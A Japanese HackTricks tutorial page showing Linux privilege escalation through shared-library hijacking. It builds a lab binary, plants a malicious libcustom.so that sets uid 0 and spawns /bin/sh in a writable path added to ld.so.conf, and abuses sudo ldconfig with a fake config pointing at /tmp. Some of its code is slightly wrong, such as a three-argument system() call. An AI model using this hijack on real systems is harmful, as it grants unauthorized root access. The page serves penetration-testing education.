8.1 KiB
ld.so privesc exploit の例
htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ
HackTricks をサポートする他の方法:
- HackTricks にあなたの会社を広告したい、または HackTricks を PDF でダウンロードしたい 場合は、サブスクリプションプランをチェックしてください!
- 公式 PEASS & HackTricks グッズ を入手する
- The PEASS Family を発見し、独占的な NFTs のコレクションをチェックする
- 💬 Discord グループ に参加するか、telegram グループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。
- HackTricks にあなたのハッキングのコツを PR として提出して、HackTricks と HackTricks Cloud の github リポジトリを共有する。
環境の準備
以下のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます
{% tabs %} {% tab title="sharedvuln.c" %}
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
{% endtab %}
{% tab title="libcustom.h" %}
#include <stdio.h>
void vuln_func();
{% endtab %}
{% tab title="libcustom.c" %}
#include <stdio.h>
void vuln_func()
{
puts("Hi");
}
{% endtab %} {% endtabs %}
- 同じフォルダ内にこれらのファイルを作成してください
- ライブラリをコンパイルします:
gcc -shared -o libcustom.so -fPIC libcustom.c
libcustom.so
を/usr/lib
にコピーします:sudo cp libcustom.so /usr/lib
(root権限)- 実行ファイルをコンパイルします:
gcc sharedvuln.c -o sharedvuln -lcustom
環境をチェック
libcustom.so_が/usr/lib_からロードされていることと、バイナリを実行できることを確認してください。
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
エクスプロイト
このシナリオでは、誰かが_/etc/ld.so.conf/_ 内のファイルに脆弱なエントリを作成したと仮定します。
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
脆弱なフォルダは /home/ubuntu/lib です(書き込み可能なアクセス権があります)。
以下のコードをダウンロードしてコンパイル してください。そのパス内で:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
作成した悪意のある libcustom ライブラリが誤設定されたパス内にある ため、再起動を待つか、root ユーザーが ldconfig
を実行するのを待つ必要があります(sudo としてこのバイナリを実行できる場合や、suid ビットが設定されている場合は、自分で実行できます)。
これが行われたら、sharevuln
実行ファイルが libcustom.so
ライブラリをどこからロードしているかを再確認してください:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
以下のように、/home/ubuntu/lib
からロードしています。そして、ユーザーが実行すると、シェルが実行されます:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
{% hint style="info" %} この例では権限昇格は行っていませんが、実行されるコマンドを変更し、rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで、権限を昇格させることができます。 {% endhint %}
その他の誤設定 - 同じ脆弱性
前の例では、管理者が/etc/ld.so.conf.d/
内の設定ファイルに非特権フォルダを設定するという誤設定を行いました。
しかし、/etc/ld.so.conf.d
内の設定ファイルに書き込み権限がある場合、/etc/ld.so.conf.d
フォルダや/etc/ld.so.conf
ファイルに同じ脆弱性を設定し、それを利用することができます。
Exploit 2
ldconfig
に対してsudo権限を持っているとします。
ldconfig
にどこからconfファイルを読み込むかを指示できるので、任意のフォルダをldconfig
に読み込ませることを利用できます。
では、"/tmp"を読み込むために必要なファイルとフォルダを作成しましょう。
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
前のエクスプロイトで示されたように、/tmp
内に悪意のあるライブラリを作成します。
そして最後に、パスをロードして、バイナリがどこからライブラリをロードしているかを確認しましょう:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
ldconfig
に対するsudo権限を持っている場合、同じ脆弱性を悪用できることがわかります。
{% hint style="info" %}
suidビットが設定されているldconfig
を悪用する信頼性の高い方法は見つかりませんでした。次のエラーが表示されます:/sbin/ldconfig.real: 一時キャッシュファイル /etc/ld.so.cache~ を作成できません: 許可が拒否されました
{% endhint %}
参考文献
- https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
- https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2
- HTBのDab machine
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローになる方法を学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。